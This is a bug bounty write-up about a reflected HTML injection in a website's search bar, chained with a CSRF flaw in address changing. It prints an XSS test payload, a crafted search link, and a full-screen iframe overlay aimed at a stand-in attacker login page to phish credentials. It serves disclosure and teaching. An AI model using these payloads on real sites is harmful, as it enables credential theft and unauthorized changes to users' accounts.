This is a Writeup for an unusual HTML Injection bug I found on a private bug bounty program.

HTML Injection lies under the class of injection Attacks, which means that a malicious HTML input is trusted by the website and displayed to the innocent user.

Similar to XSS there are stored, reflected, and self HTML injection. HTML Injection Vulnerability is not as Critical as XSS(Cross-Site Scripting) but can be chained with other vulnerabilities to create critical impact.

The obvious difference between XSS and HTML Injection is that in the case of XSS one can inject functioning javascript onto a website which enables the attacker to virtually performing any task a real user can do, Whereas Injecting only the HTML on its own can mostly deface the website, but if this is chained with vulnerabilities such as CSRF(Cross-Site Request Forgery), then the Criticality of the attack increases because of the user-dependency for the attack to succeed decreases.

In my case, HTML Injection was actually found in the pursuit to find XSS on the search functionality of the vulnerable website.

The website was using a Cloudflare WAF, which prevented the attacker from performing XSS. On searching something like

<img src=x onerror=prompt(1)>

Cloudflare WAF gets triggered, but when I waited for long enough the search preview feature of the search bar tries to load the image and triggers the XSS.

But unfortunately, this is just a self-XSS, and when the payload is searched the Cloudflare kicks in.

But I realized that the WAF was not preventing me from searching HTML tags without any javascript.

So when an attacker sends this link to a user the HTML will be reflected in the search bar.

https://vulnerable.com/search?term=%3Cimg+src%3Dx%3E

Now, How can this cause a big impact?

So one way is to cover the entire webpage with an iframe, using the attacker can create a fake login page similar to that of the site which would cause the user to enter the credentials which would be sent to the attacker.

this payload can be used:-

<iframe src="***https:/attacker/login***" style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999; scrolling="no";frameborder="0"">

But the issue with this method is the extent of user interaction that is required for this attack to work. So I had to come up with a better solution.

I found this report on a similar vulnerability, which helped me come up with the solution.

Now, like I said, chaining HTML injection with CSRF can create a bigger impact, luckily I found a CSRF possible in the address-changing functionality of the website.

Chaining these two vulnerabilities, I used the previously used Iframe payload and the src of it was set to a webhook endpoint which hosted a self-submitting form that changes the address of the user-generated with the burp Suite CSRF PoC generator.

This way the user dependency was reduced and the impact was increased thus the report was accepted and triaged, and finally, I received a bounty.

If you liked my report please leave a bunch of claps!!